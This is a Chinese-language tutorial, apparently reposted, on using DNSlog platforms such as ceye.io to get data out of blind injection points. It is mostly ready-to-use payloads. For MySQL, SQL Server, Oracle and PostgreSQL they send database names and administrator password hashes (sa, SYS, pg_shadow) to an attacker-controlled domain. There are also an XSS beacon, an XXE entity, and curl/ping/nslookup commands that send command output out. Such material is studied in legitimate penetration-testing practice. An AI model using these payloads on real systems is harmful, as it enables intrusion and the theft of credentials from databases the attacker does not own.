巧用DNSlog實現無回顯注入


0x01 DNSLOG回顯原理

測試一些網站的時候,一些注入都是無回顯的,我們可以寫腳本來進行盲注,但有些網站會ban掉我們的ip,這樣我們可以通過設置ip代理池解決,

但是盲注往往效率很低,所以產生了DNSlog注入。具體原理如下。

首先需要有一個可以配置的域名,比如:ceye.io,然后通過代理商設置域名 ceye.io 的 nameserver 為自己的服務器 A,然后再服務器 A 上配置好 DNS Server,這樣以來所有 ceye.io 及其子域名的查詢都會到 服務器 A 上,這時就能夠實時地監控域名查詢請求了,圖示如下。

DNS在解析的時候會留下日志,咱們這個就是讀取多級域名的解析日志,來獲取信息
簡單來說就是把信息放在高級域名中,傳遞到自己這,然后讀取日志,獲取信息。

0x02 DNSLOG回顯Demo

這樣說原理很抽象,下面通過實際例子看下。有時候http://ceye.io訪問太慢,推薦使用http://www.dnslog.cn平台或者t00ls的DNSLOG平台。下面以http://ceye.io 為例子。

http://ceye.io 這是一個免費的記錄dnslog的平台,我們注冊后到控制面板會給你一個二級域名:xxx.ceye.io,當我們把注入信息放到三級域名那里,后台的日志會記錄下來。

 

0x03 SQL盲注

就以sql盲注為例,后端數據庫用的mysql數據庫,說一下用dnslog回顯只能用於windows系統,原理就是'\\\\'代表Microsoft Windows通用命名約定(UNC)的文件和目錄路徑格式利用任何以下擴展存儲程序引發DNS地址解析。雙斜杠表示網絡資源路徑多加兩個\就是轉義了反斜杠。深入理解下DNSlog注入過程:

通過DNSlog盲注需要用的load_file()函數,所以一般得是root權限。show variables like '%secure%';查看load_file()可以讀取的磁盤。

1、當secure_file_priv為空,就可以讀取磁盤的目錄。

2、當secure_file_priv為G:\,就可以讀取G盤的文件。

3、當secure_file_priv為null,load_file就不能加載文件。

通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。

在mysql命令行執行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查詢語句

查看平台,dnsLog被記錄下來。

load_file()函數可以通過dns解析請求。

以sql-labs第五關:

payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+

執行的sql語句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)

查看dnslog日志,發現security數據庫被查詢出來:

SQL SERVER Payload

DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

Oracle Payload

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

PostgreSQL Payload

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

0x04 XSS(無回顯)

通過盲打,讓觸發者瀏覽器訪問預設至的鏈接地址,如果盲打成功,會在平台上收到如下的鏈接訪問記錄:

payload:><img src=http://xss.xxxx.ceye.io/aaa>讓src請求我們的dnslog平台

0x05 SSRF(無回顯)

payload: 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>

0x06 命令執行(無回顯)

當 ping 一個域名時會對其進行一個遞歸 DNS 查詢的過程,這個時候就能在后端獲取到 DNS 的查詢請求,當命令真正被執行且平台收到回顯時就能說明漏洞確實存在。

*nix
curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.xxxx.ceye.io
 
        
Windows
ping %USERNAME%.xxx.ceye.io

也可以通過base64加密傳送數據,平台拿到的數據進行base64解密得到命令回顯。
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
del temp*

其他的在這個平台上有一些payload,參考這個鏈接:http://ceye.io/payloads

參考鏈接:

http://foreversong.cn/archives/861

https://bbs.ichunqiu.com/thread-22002-1-1.html

http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM